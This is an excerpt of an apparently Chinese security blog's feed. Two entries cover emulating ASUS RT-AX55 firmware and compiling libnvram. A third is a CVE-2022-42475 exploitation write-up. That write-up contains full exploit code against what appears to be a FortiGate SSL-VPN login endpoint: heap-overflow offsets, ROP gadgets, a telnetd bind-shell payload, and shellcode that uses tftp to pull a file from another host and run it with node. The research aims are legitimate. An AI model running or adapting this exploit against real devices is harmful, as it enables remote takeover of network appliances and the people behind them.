    <id>http://ioo0s.art/2023/02/20/RT-AX55%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</id>
    <published>2023-02-20T01:59:59.000Z</published>
    <updated>2023-02-20T02:03:17.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="启动方式"><a class="markdownIt-Anchor" href="#启动方式"></a> 启动方式</h2><h3 id="方式一"><a class="markdownIt-Anchor" href="#方式一"></a> 方式一</h3><pre class="highlight"><code class="">sudo chroot . ./qemu-arm-static -E LD_PRELOAD=&quot;./libnvram.so&quot; ./usr/sbin/httpd</code></pre><span id="more"></span><h3 id="方式二"><a class="markdownIt-Anchor" href="#方式二"></a> 方式二</h3><ol><li>复制 qemu-arm-static 到 squashfs-root 中</li></ol><pre class="highlight"><code class="">where qemu-arm-staticcp /usr/bin/qemu-arm-static ./squashfs-root/</code></pre><ol><li>启动</li></ol><pre class="highlight"><code class="">cd squashfs-rootsudo chroot . ./qemu-arm-static ./usr/sbin/httpd</code></pre><h3 id="启动时的错误处理"><a class="markdownIt-Anchor" href="#启动时的错误处理"></a> 启动时的错误处理</h3><h4 id="遇见-openssl-相关错误"><a class="markdownIt-Anchor" href="#遇见-openssl-相关错误"></a> 遇见 openssl 相关错误</h4><p>错误原因代码：</p><p>运行 <a href="http://gencert.sh">gencert.sh</a></p><p><img src="boxcnvKJ5i51SRuJqtb1UGIJabf.png" alt="" /></p><p>在调用 nvram 相关命令时出错，原因不存在 nvram</p><pre class="highlight"><code class="">#!/bin/shSECS=1262278080cd /etcNVCN=`nvram get https_crt_cn`if [ &quot;$NVCN&quot; == &quot;&quot; ]; then        NVCN=&quot;router.asus.com&quot;ficp -L openssl.cnf openssl.configI=0for CN in $NVCN; do        echo &quot;$I.commonName=CN&quot; &gt;&gt; openssl.config        echo &quot;$I.commonName_value=$CN&quot; &gt;&gt; openssl.config        I=$(($I + 1))done........ 以上是部分代码</code></pre><p>报错截图：</p><p><img src="boxcnl3dulqHfHWoU4hPu8AxK6c.png" alt="" /></p><h5 id="解决办法"><a class="markdownIt-Anchor" href="#解决办法"></a> 解决办法</h5><p>nvram 中保存了设备的一些配置信息，而程序运行时需要读取配置信息，由于缺少对应的外设，因此会报错。要编译 nvram 文件，可以使用 Firmadyne 提供的 libnvram 库，因为其支持很多的 api。</p><p><a href="https://ioo0s.art/2023/02/20/libnvram-so%E7%BC%96%E8%AF%91%E6%95%99%E7%A8%8B/">libnvram.so 编译</a></p><h4 id="libnvram-运行中其他错误"><a class="markdownIt-Anchor" href="#libnvram-运行中其他错误"></a> libnvram 运行中其他错误</h4><p>运行后，发现仍然缺少一些键值对，</p><p>错误截图：</p><p><img src="boxcndvxlJcQMG25ouQzRdwrwSc.png" alt="" /></p><h5 id="解决方法"><a class="markdownIt-Anchor" href="#解决方法"></a> 解决方法</h5><p>返回修改 libnvarm 的 config.h 文件添加对应的键值对</p><p>通过 ida 中 strings 搜索对应的 key 进行 value 的查找</p><p>time_zone_x</p><p><img src="boxcnCanMJ27GB8hlgZsJuAcWfc.png" alt="" /></p><p>value</p><pre class="highlight"><code class="">PST8PDT</code></pre><p>HTTPD_DBG</p><p><img src="boxcnHLGlcIPJuI1HotrIZhMaIe.png" alt="" /></p><p>Value</p><pre class="highlight"><code class="">0 or 1</code></pre><p>https_crt_gen</p><p><img src="boxcnDlsWW2oaMlwoBYKuiNJvS0.png" alt="" /></p><p>Value</p><pre class="highlight"><code class="">0 or 1</code></pre><p>https_crt_save</p><p><img src="boxcn2qNTiJLAlCDobc2IIyOR1c.png" alt="" /></p><p>Value</p><pre class="highlight"><code class="">0 or 1</code></pre><p>修改后</p><p><img src="boxcnaD7h9vCpuz7WOzzM80upwf.png" alt="" /></p><h4 id="nvram_init-unable-to-touch-ralink-pid-file-varrunnvramdpid"><a class="markdownIt-Anchor" href="#nvram_init-unable-to-touch-ralink-pid-file-varrunnvramdpid"></a> nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!</h4><p>错误截图：</p><p><img src="boxcnTpbPxxZFdfeOvlEs05gjJh.png" alt="" /></p><h5 id="解决方法-2"><a class="markdownIt-Anchor" href="#解决方法-2"></a> 解决方法</h5><p>手动 touch 一个文件进去</p><pre class="highlight"><code class="">touch var/run/nvramd.pid</code></pre><h4 id="cp-cant-stat-mntlibnvramoverride-no-such-file-or-directory"><a class="markdownIt-Anchor" href="#cp-cant-stat-mntlibnvramoverride-no-such-file-or-directory"></a> cp: can’t stat ‘/mnt/libnvram.override/*’: No such file or directory</h4><p>一样创建一个</p><pre class="highlight"><code class="">mkdir mnt/libnvram.override</code></pre><h4 id="ssl-相关错误例如-lib2func1reason2na0fopenetccertpemr-等一系列问题"><a class="markdownIt-Anchor" href="#ssl-相关错误例如-lib2func1reason2na0fopenetccertpemr-等一系列问题"></a> ssl 相关错误，例如 lib(2):func(1):reason(2):NA:0:fopen(‘/etc/cert.pem’,‘r’) 等一系列问题</h4><h5 id="解决方法-3"><a class="markdownIt-Anchor" href="#解决方法-3"></a> 解决方法</h5><p>根据错误搜索/etc/cert.pem</p><p><img src="boxcnMx8s3873k7745ii1x40hmd.png" alt="" /></p><p>通过分析上下文 + 本地文件生成可以知道，脚本 <a href="http://gencert.sh">gencert.sh</a> 并没有良好工作，需要我们在本地利用 openssl 生成对应的文件并 copy 到 etc 文件夹下即可</p><ol><li>生成 privkey.pem 及 cert.csr</li></ol><pre class="highlight"><code class="">openssl req -new -out /tmp/cert.csr -keyout /tmp/privkey.pem -newkey rsa:2048 -passout pass:password</code></pre><ol><li>生成 key.pem</li></ol><pre class="highlight"><code class="">openssl rsa -in /tmp/privkey.pem -out key.pem -passin pass:password</code></pre><ol><li>生成 cert.pem</li></ol><pre class="highlight"><code class="">RANDFILE=/dev/urandom openssl req -x509 -new -nodes -in /tmp/cert.csr -key key.pem -days 3653 -sha256 -out cert.pem</code></pre><ol><li>生成 server.pem</li></ol><pre class="highlight"><code class="">cat key.pem cert.pem &gt; server.pem</code></pre><ol><li>复制到/tmp/etc/下</li></ol><pre class="highlight"><code class="">cp server.pem cert.pem cert.crt key.pem ./tmp/etc</code></pre><p>再次运行 搞定</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;启动方式&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#启动方式&quot;&gt;&lt;/a&gt; 启动方式&lt;/h2&gt;
&lt;h3 id=&quot;方式一&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#方式一&quot;&gt;&lt;/a&gt; 方式一&lt;/h3&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;&quot;&gt;sudo chroot . ./qemu-arm-static -E LD_PRELOAD=&amp;quot;./libnvram.so&amp;quot; ./usr/sbin/httpd
&lt;/code&gt;&lt;/pre&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="ASUS" scheme="http://ioo0s.art/tags/ASUS/"/>
    
  </entry>
  
  <entry>
    <title>libnvram.so编译教程</title>
    <link href="http://ioo0s.art/2023/02/20/libnvram-so%E7%BC%96%E8%AF%91%E6%95%99%E7%A8%8B/"/>
    <id>http://ioo0s.art/2023/02/20/libnvram-so%E7%BC%96%E8%AF%91%E6%95%99%E7%A8%8B/</id>
    <published>2023-02-20T01:29:15.000Z</published>
    <updated>2023-02-20T01:37:54.000Z</updated>
    
    <content type="html"><![CDATA[<ol><li>使用交叉编译环境</li><li>进行符号链接配置</li></ol><pre class="highlight"><code class="">sudo ln -s ~/am-toolchains/brcm-arm-sdk/hndtools-arm-linux-2.6.36-uclibc-4.5.3 /opt/brcm-armecho &quot;PATH=\$PATH:/opt/brcm-arm/bin&quot; &gt;&gt; ~/.profilesource ~/.profile</code></pre><span id="more"></span><ol><li>下载 libnvram 项目</li><li>配置编译相关依赖</li></ol><pre class="highlight"><code class="">export CC=arm-uclibc-gcc&lt;em&gt;export LD_LIBRARY_PATH=$&#123;LD_LIBRARY_PATH&#125;:/opt/brcm-arm/lib:/usr/local/lib:/usr/lib&lt;/em&gt;</code></pre><ol start="5"><li>使用 ldd 命令查看依赖是否补全</li></ol><pre class="highlight"><code class="">ldd arm-uclibc-gcc</code></pre><p><img src="boxcnI29TiwEnChYepLkxqsjkuh.png" alt="" /></p><p>发现还缺少 libelf 库，<strong>32 位版本</strong></p><ol><li>对 kali 添加 32 架构支持</li></ol><pre class="highlight"><code class="">sudo dpkg --add-architecture i386sudo apt update</code></pre><ol><li>安装 libelf1:i386</li></ol><pre class="highlight"><code class="">sudo apt-get install libelf1:i386</code></pre><ol><li>修改 config.h 中的配置文件</li></ol><p>为了初始化 nvram 时能够正确的配置信息，需要对 config.h 修改</p><p>修改图中参数为 eth0 网卡 ip 地址与广播地址</p><p><img src="boxcnCoz7jxnEDvRcZTXUGqy4Wc.png" alt="" /></p><p>修改挂载点，修改后需要在文件系统中创建目录 <code>mkdir ./mnt/libnvram</code></p><p><img src="boxcnGvWyu3Hn0fgI6TQfz5oSmb.png" alt="" /></p><p>如果需要加其他 nvram 的启动配置参数，也在这里进行添加</p><ol><li>尝试编译</li></ol><pre class="highlight"><code class="">make</code></pre><p><img src="boxcntGWsN5d5TDcqxPCjIHaGRh.png" alt="" /></p><p>提示一个 warning</p><ol><li>修改 Makefile，添加 gnu，修复 warning</li></ol><pre class="highlight"><code class="">-D_GNU_SOURCE</code></pre><p><img src="boxcn7Kw93iKU1n89tekpUgJ9Uf.png" alt="" /></p><p>9.再次编译，大功告成</p><p><img src="boxcndV2iixPchqAVePmZz7c6Be.png" alt="" /></p>]]></content>
    
    
    <summary type="html">&lt;ol&gt;
&lt;li&gt;使用交叉编译环境&lt;/li&gt;
&lt;li&gt;进行符号链接配置&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;&quot;&gt;sudo ln -s ~/am-toolchains/brcm-arm-sdk/hndtools-arm-linux-2.6.36-uclibc-4.5.3 /opt/brcm-arm
echo &amp;quot;PATH=\$PATH:/opt/brcm-arm/bin&amp;quot; &amp;gt;&amp;gt; ~/.profile
source ~/.profile
&lt;/code&gt;&lt;/pre&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="ASUS" scheme="http://ioo0s.art/tags/ASUS/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2022-42475</title>
    <link href="http://ioo0s.art/2023/02/09/CVE-2022-42475/"/>
    <id>http://ioo0s.art/2023/02/09/CVE-2022-42475/</id>
    <published>2023-02-09T03:24:40.000Z</published>
    <updated>2023-02-09T05:10:47.000Z</updated>
    
    <content type="html"><![CDATA[<p>首先需要进行环境搭建参考<a href="https://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/">获取 shell 进阶</a></p><p>以及调试环境搭建 <a href="https://ioo0s.art/2023/02/09/gdb-server%E9%85%8D%E7%BD%AE/">gdb-server 配置</a></p><h2 id="复现过程"><a class="markdownIt-Anchor" href="#复现过程"></a> 复现过程</h2><p>根据文章 <a href="https://wzt.ac.cn/2022/12/15/CVE-2022-42475/">https://wzt.ac.cn/2022/12/15/CVE-2022-42475/</a>，可以快速定位到可控制的溢出点，但是不同环境的原因 貌似溢出点地址有变，例如我 init 中在 <code>0000000001780BFB</code></p><p><img src="static/boxcnX7t3Jx1WBzLwCgC1CWlFYf.png" alt="" /></p><p>调试 exp 时建议在此处下断点，不是百分百触发该位置，因为有时会覆盖到其他 结构位置 在赋值时导致错误。</p><span id="more"></span><ol><li>确定溢出偏移</li></ol><p>为了快速确定偏移，这里建议用 peda 的 pattern 生成 Payload 进行触发</p><p><img src="static/boxcntv3SPMSPz4RcHJJPCKzQZb.png" alt="" /></p><p>接着当断点触发在 jmp rax 的时候，查看当前 rax 的值计算 offset，通过大量测试基本会存在两种情况偏移会触发到 jmp rax，</p><p><img src="static/boxcnHQAyBPb7XieHeSWb6b8W0d.png" alt="" /></p><p>分别是 2592,1568，并且 2592 偏移触发几率大于 1568，所以接下来的 exp 构造均在 2592 处，此时我们就可以通过 2592+payload 来控制跳转了</p><ol><li>栈迁移</li></ol><p>由于此时是堆溢出，只能控制一次跳转，我们需要利用栈迁移将栈地址移动到我们可控的位置，通过寄存器信息可以知道目前被溢出的位置有以下几个寄存器，RAX 用来栈迁移，RDX 可控，内容是溢出的字符（截图是 exp 构造后的），R11 可控，内容是溢出字符。</p><p><img src="static/boxcniOyqoX4kN3oYHpK17GwApf.png" alt="" /></p><p>所以我们目标是找到类似 push RDX，pop rsp 或 push r11，pop rsp 的 gadget。接着通过 ropgadget 生成所有的 gadget 并输出到文本（你问我为啥不直接查找？卡到爆！！！）</p><p>接着利用命令关联搜索 <code>cat gadget.txt| grep &quot;push rdx&quot;| grep &quot;pop rsp&quot;</code></p><p><img src="static/boxcnTPsrxcyBOGd3IJeKFUVvMd.png" alt="" /></p><p>发现有一个比较符合的 <code>0x000000000140583a : push rdx ; pop rsp ; add edi, edi ; nop ; ret</code></p><p>接着我们就能将栈迁移到到 rdx 所指的内存处了</p><ol><li>计算 rdx 可控偏移</li></ol><p>那此处计算方式就和上方一致了，通过再次利用 pattern 进行溢出，并计算 rdx 处的偏移，通过计算得到偏移为 2400</p><p><img src="static/boxcn4hNGUQXG3rPlMPHmrIc9Se.png" alt="" /></p><ol><li>构造 exp</li></ol><p>此时 rdx 内存处可控，正式开始构造 exp，目前的 exp 是基于 busybox 的，不是真正意义上的 exp，但是也是一样的证明了可以任意代码执行。</p><pre class="highlight"><code class="">gadget1 = 0x000000000140583a #        payload = b&quot;B&quot;*2400        #payload += int_to_bytes(0x46bb37) + b&quot;\x00&quot;*5 # : pop rax ; ret        payload += int_to_bytes(0x60b30e)+ b&quot;\x00&quot;*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0x58) + b&quot;\x00&quot;*7 # sell offset        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b&quot;\x00&quot;*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b&quot;\x00&quot;*4 #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b&quot;\x00&quot;*5# : pop rsi ; ret        payload += b&quot;\x00&quot;*8 # sell offset 0        payload += int_to_bytes(0x509382) + b&quot;\x00&quot;*5# : pop rdx ; ret        payload += b&quot;\x00&quot;*8 # sell offset 0        payload += int_to_bytes(0x5693D5) + b&quot;\x00&quot;*5 # call system        payload += b&quot;/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22&quot;+b&quot;\x00&quot;*8        raw = payload+b&quot;A&quot;*(2592-len(payload))        raw += int_to_bytes(gadget1)</code></pre><p>简单讲解一下 payload，首先是 pop rax 用处是 存放距离命令字符串的偏移量，这个可以通过调试也能得到。</p><p>这里由于调试时发现会在栈中多出个 1 导致 pop rax；ret 后执行地址 1 出现错误，所以需要找一个 pop rax 后早 pop 某个寄存器让这个 1 出栈，最终找到了 pop rax ; pop rcx ; ret，不会影响其他 gadget。</p><p>接着调试时发现了一些栈不平衡的问题，利用一些 junk gadget 用来补齐栈</p><p>接着 add rdx, rax 得到命令字符串的地址，并存在 rdx 中</p><p>最后构造 system(cmd,0,0);进行任意命令执行，这里注意需要控制的三个寄存器 rdi、rsi、rdx</p><p>查看一下构造 system 前的寄存器和栈空间</p><p><img src="static/boxcnHOcQXZ6bFQlNt1BR523wuf.png" alt="" /></p><ol><li>多次发送 payload 后会多出一个进程开在 22 端口，通过 telnet 连接上去成功获得 shell</li></ol><p><img src="static/boxcn8zAekllzjKNxyc7nZH4fhh.png" alt="" /></p><h2 id="exp"><a class="markdownIt-Anchor" href="#exp"></a> Exp</h2><pre class="highlight"><code class="">import socketimport sslfrom struct import packdef int_to_bytes(n, minlen=0):    &quot;&quot;&quot; Convert integer to bytearray with optional minimum length.     &quot;&quot;&quot;    if n &gt; 0:        arr = []        while n:            n, rem = n &gt;&gt; 8, n &amp; 0xff            arr.append(rem)        b = bytearray(arr)    elif n == 0:        b = bytearray(b'\x00')    else:        raise ValueError('Only non-negative values supported')    if minlen &gt; 0 and len(b) &lt; minlen: # zero padding needed?        b = (minlen-len(b)) * '\x00' + b    return bpath = &quot;/remote/login&quot;.encode()id = 0while True:    print(&quot;#&quot;+str(id))    #access mem addr 0x164e000 - 0x17a1fff    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b&quot;B&quot;*2400        #payload += int_to_bytes(0x46bb37) + b&quot;\x00&quot;*5 # : pop rax ; ret        payload += int_to_bytes(0x60b30e)+ b&quot;\x00&quot;*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0x58) + b&quot;\x00&quot;*7 # sell offset        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b&quot;\x00&quot;*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b&quot;\x00&quot;*4 #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b&quot;\x00&quot;*5# : pop rsi ; ret        payload += b&quot;\x00&quot;*8 # sell offset 0        payload += int_to_bytes(0x509382) + b&quot;\x00&quot;*5# : pop rdx ; ret        payload += b&quot;\x00&quot;*8 # sell offset 0        payload += int_to_bytes(0x5693D5) + b&quot;\x00&quot;*5 # call system        payload += b&quot;/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22&quot;+b&quot;\x00&quot;*8        raw = payload+b&quot;A&quot;*(2592-len(payload))        raw += int_to_bytes(gadget1)        #raw += int_to_bytes(gadget2)        data = b&quot;POST &quot; + path + b&quot; HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: &quot; + str(int(CL)).encode() + b&quot;\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n&quot;+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect((&quot;192.168.109.111&quot;, 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)        sleep(1)        _socket.sendall(b'ls')        res = _socket.recv(1024)        print(res)                  #res = _socket.recv(1024)        #if b&quot;HTTP/1.1&quot; not in res:        #    print(&quot;Error detected&quot;)        #    print(CL)        #    continue    except Exception as e:        pass    id+=1</code></pre><p>上述 exp 不能再 real 环境下达到效果，主要原因是调用 system 默认会调用/bin/sh -c cmd 来执行命令，但 real 环境里 sysctl 中没有 sh 功能，导致通过 system 函数无法成功命令。</p><p><img src="static/boxcnuJGJelUGJlpXZvo7JXJ2Pb.png" alt="" /></p><p>测试代码</p><pre class="highlight"><code class="">#include &lt;stdio.h&gt;int main(int argc, char const *argv[])&#123;        system(argv[1],0,0);        return 0;&#125;</code></pre><h2 id="real-exp"><a class="markdownIt-Anchor" href="#real-exp"></a> REAL EXP</h2><p>由于在 real environment 中 sh 是不存在的，所以我们不能简单使用 system 执行，从而我们将目光转向 exec*家族</p><p><img src="static/boxcn8EyhtCuWy7ahtW3yie6ggc.png" alt="" /></p><p>可以看到 init 文件中，exec 家族函数还是很全的！！</p><h3 id="思考"><a class="markdownIt-Anchor" href="#思考"></a> 思考</h3><p>这里会遇到个问题，我们命令执行要干什么呢？执行/bin/sh 是无用的 那我们还怎么能拿到 shell 呢？</p><p>这里我的想法是 给他想办法弄一个 busybox ？可以考虑方式 1. 分析/bin/中有什么可以传输文件的程序 2.rop 写一个文件写入的 gadget，并且传输过去文件</p><p>最终我采用方式 1 ，原因是方式 2 传输文件可能会让输入过长 导致 socket 断开 等一系列网络问题</p><h3 id="构造执行-rop"><a class="markdownIt-Anchor" href="#构造执行-rop"></a> 构造执行 rop</h3><p>这里需要知道 exec*家族有两大派系，一种是参数传参，另一种是数组传参</p><pre class="highlight"><code class="">#include &lt;unistd.h&gt;int execl(const char *path, const char *arg, ...);int execlp(const char *file, const char *arg, ...);int execle(const char *path, const char *arg, ..., char *const envp[]);int execv(const char *path, char *const argv[]);int execvp(const char *file, char *const argv[]);int execve(const char *path, char *const argv[], char *const envp[]);</code></pre><p>通过编写了个 demo 程序熟悉一下调用方式,这里用的是参数传参，原因是我想直接 rop 到寄存器然后执行</p><pre class="highlight"><code class="">#include &lt;stdio.h&gt;#include &lt;unistd.h&gt;gcc -g test.c -static -o testvoid main()&#123;      execl(&quot;/bin/tftp&quot;,&quot;/bin/tftp&quot;, &quot;192.168.109.128&quot;, &quot;busybox&quot;, &quot;get&quot;, &quot;octet&quot;, &quot;/sbin/busybox&quot;, NULL);&#125;</code></pre><p>查看 ida</p><p><img src="static/boxcnP0m4tw82EOVuFkUWH8bFWv.png" alt="" /></p><p>通过 ida 也可以再熟悉一下 x64 的调用顺序</p><pre class="highlight"><code class="">rdi rsi rdx rcx r8 r9 stack stack+8 .....</code></pre><p>那我们需要写一个 rop chain，至少需要以下 gadget</p><pre class="highlight"><code class="">获取rsp地址 并且能计算rsp偏移例如 mov reg, rsp;ret, add reg ,offet; ret 或者 push rps; ret pop reg; ret , add reg, offet; ret将栈中地址传递到寄存器中至少需要 pop rdi；pop rsi；pop rdx；pop rcx; pop r8;pop r9call exec* 这个程序中都有</code></pre><p>当能构造出这些参数时会遇到问题，栈中字符串问题：</p><p>当字符串 byte&gt;8 时，直接放在栈中会导致占空间额外多出一个部分</p><p>例如我 rop 中放入字符串 <code>192.168.109.128</code> 则栈中 rsp 部分确实是 该字符串，但 rsp+8 的位置却变成了 109.128</p><p>这个问题会导致我们构造参数时会多出不可控的字符串。导致如果考虑 char 列表来调用的话 rop chain 会修改的非常麻烦！！！非常非常麻烦！</p><p>从而目光转向寄存器传参的方式，该方式也存在问题</p><ol><li>寄存器传参 rop 时 越向后构造越会出现没有好用的 gadget 的情况，因为你不能破坏前面几个参数</li><li>rop 时字符串地址会和上一种方式相同 会出现字符串地址连续的情况，但该情况可以通过多次 rop 将字符串分割，并且多次计算 rsp 地址得到</li></ol><p>此时 我的想法是 如何能得到非常够用的 gadget 呢？最好的情况就是能执行 shellcode 因为这样就可以满足条件一以及轻松的满足条件二</p><h3 id="rop2mprotect"><a class="markdownIt-Anchor" href="#rop2mprotect"></a> ROP2mprotect</h3><p>熟悉的 ctf 技巧，想办法将 rop 转化为 ret2shelllcode，尝试在 init 中搜索 mprotect 函数，可以看到存在，并且存在两处调用，这非常有用，这样我们就可以在 rop 是直接到这两处地址的位置调用 call _mprotect 了</p><p><img src="static/boxcnxeKK9gfPb8ZyH2P6Ic0j6g.png" alt="" /></p><p>但要注意我们还是需要 rop 构造 mprotect 参数，首先 为了后续更好的继续执行 shellcode，我们需要确定当前输入的栈空间地址，由于我们是 rop，最好不要出现固定地址，防止不同环境下可能无法通用的情况，所以我们要么选择 leak，要么选择 rop 中通过 push rsp，pop reg 的方式获得当前栈地址，同时理由 add reg，offse 的方式来控制地址具体的位置</p><p><img src="static/boxcn7mlI5ATg53GoRYbzXuWE3c.png" alt="" /></p><p>在溢出点位置 查看 proc map，这里首先要考虑的能读写的位置，接着最好是现有可控的空间</p><p>此时，可控的空间是 RDX 所指向的内存地址，他所属的内存段为 0x7f6de0b2a000，我们需要将此内存空间赋予执行权限，并 rop ret 到该地址 从而达到 ret2shellcode 的步骤</p><p><img src="static/boxcnWH7y3iM7wCNrxkK6vb9zmd.png" alt="" /></p><p>所以这段 rop 就可以构造了</p><pre class="highlight"><code class="">payload = b&quot;B&quot;*2400        payload += int_to_bytes(0x60b30e)+ b&quot;\x00&quot;*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b&quot;\x00&quot;*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b&quot;\x00&quot;*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b&quot;\x00&quot;*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b&quot;\x00&quot;*5        payload += int_to_bytes(0x509382) + b&quot;\x00&quot;*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b&quot;\x00&quot;*7               payload += int_to_bytes(0x1537F26) + b&quot;\x00&quot;*4 # jmp _mprotect</code></pre><p>简单说明一下这段 gadget</p><p>pop rax 用来存放偏移地址，用来微调 rsp 的</p><p>Pop rcx 是由于栈空间多出了个 1，无用数据需要出栈</p><p>接着是 offset，用于计算 proc map base address 的，就是当前栈的 rsp 与当前内存段其实地址的偏移，由于下面用到的 add gadget 所以这里要用负数</p><p>Junk op 不做实际操作</p><p>Add rdx， rax 计算 rsp 的偏移 准备给他执行权限</p><p>Pop rdi 作为 mprotect 的第一个参数 ：地址</p><p>Pop rsi 作为 mprotect 的第二个参数： 赋予多大的空间 len</p><p>Pop rdx 作为 mprotect 的第三个参数：赋予的权限 7 = r w x</p><p>接着 调用现有的 gadget，jmp mprotect 执行赋予权限</p><p><img src="static/boxcnUtUuYJTvlmM2MIJTS3qsbd.png" alt="" /></p><p>rop 后查看当前内存，发现多出了一段可执行内存。</p><h3 id="ret2shellcode"><a class="markdownIt-Anchor" href="#ret2shellcode"></a> Ret2shellcode</h3><p>我们成功得到了可执行的内存空间，那接下来 只需要 ret 到这里就可以了，具体 ret 到哪里需要我们通过向后填充 shellcode，并在调试时计算出 offset 之后再跳转过去，而不是直接跳转，所以这里我们执行完后还需要再构造一段计算 offset 的 rop chain</p><pre class="highlight"><code class="">payload += int_to_bytes(0x46bb37) + b&quot;\x00&quot;*5 # pop rax ; retpayload += int_to_bytes(0x56a40) + b&quot;\x00&quot;*5 # offset to stackpayload += int_to_bytes(0x7d4f4d) + b&quot;\x00&quot;*5 # add rax, rdi ; retpayload += int_to_bytes(0x43dccc) + b&quot;\x00&quot;*5 # push rax ; ret</code></pre><p>同样利用 rax 存 offset 微调 rsp</p><p>rdi 是 当时计算后的 base mem 地址</p><p>最后把计算出的 shellcode 地址 压栈 ret</p><p>参考下图 ，rax 存的是 shellcode 的地址，并且已经将该地址压栈执行</p><p><img src="static/boxcnWbt9iKgRGWnks9SXk4ziyh.png" alt="" /></p><h3 id="shellcode-构造"><a class="markdownIt-Anchor" href="#shellcode-构造"></a> Shellcode 构造</h3><p>此时我们解决的 gadget 不足的问题，可以随心所欲的编写调用了，为了更好的控制参数，我们选用 寄存器的方式传参，这里还要注意 我们不能直接在 shellcode 中调用 exec <em>家族，当然你可以 syscall，但是这里我选择 ret2shellcode 中只负责构造参数部分，具体执行 exec</em> 的事情交给接下来的工作。</p><pre class="highlight"><code class="">from pwn import *context(log_level='debug', arch='amd64', os='linux')def bytes2stack_bytes(bytes):    stack_str = &quot;0x&quot;    swap_data = bytearray(bytes)    swap_data.reverse()    for i in swap_data:        t = hex(i)[2:]        stack_str+=t        return stack_strdef gen_shellcode_download_file():    save_path = bytes2stack_bytes(b&quot;/sbin/bu&quot;)    arg2 = bytes2stack_bytes(b&quot;octet&quot;)    arg1 = bytes2stack_bytes(b&quot;get&quot;)    filename = bytes2stack_bytes(b&quot;1.js&quot;)    ip_addr2 = bytes2stack_bytes(b&quot;109.128&quot;)    ip_addr1 = bytes2stack_bytes(b&quot;192.168.&quot;)        cmd_path2 = bytes2stack_bytes(b&quot;p&quot;)    cmd_path1 = bytes2stack_bytes(b&quot;/bin/tft&quot;)    shellcode = asm('''      sub rsp,0x1000      push 0      mov rbx, &#123;&#125;      push rbx      mov r9, rsp      mov rbx, &#123;&#125;      push rbx      mov r8, rsp      mov rbx, &#123;&#125;      push rbx      mov rcx,rsp      mov rbx, &#123;&#125;      push rbx      mov rbx, &#123;&#125;      push rbx      mov rdx,rsp      mov rbx,&#123;&#125;      push rbx      mov rbx,&#123;&#125;      push rbx      mov rsi,rsp      mov rdi,rsp      push 0      mov rbx,&#123;&#125;      push rbx      mov r10, rsp      add rax, 0x90      mov rsp, rax      push r10      sub rsp, 0x8      nop      ret'''.format(arg2,arg1,filename,ip_addr2,ip_addr1,cmd_path2,cmd_path1,save_path))    print(shellcode)    print(len(shellcode))def gen_shellcode_execl():    # execl(&quot;/bin/node&quot;,&quot;/bin/node&quot;,&quot;/sbin/bu&quot;)    js_path = bytes2stack_bytes(b&quot;/sbin/bu&quot;)    bin_path2 = bytes2stack_bytes(b&quot;e&quot;)    bin_path1 = bytes2stack_bytes(b&quot;/bin/nod&quot;)    shellcode = asm('''      sub rsp,0x1000      mov rcx, 0      mov rbx, &#123;&#125;      push rbx      mov rdx,rsp      mov rbx,&#123;&#125;      push rbx      mov rbx,&#123;&#125;      push rbx      mov rsi,rsp      mov rdi,rsp      add rax, 0x40      mov rsp, rax      nop      nop      nop      ret'''.format(js_path, bin_path2, bin_path1))    print(shellcode)    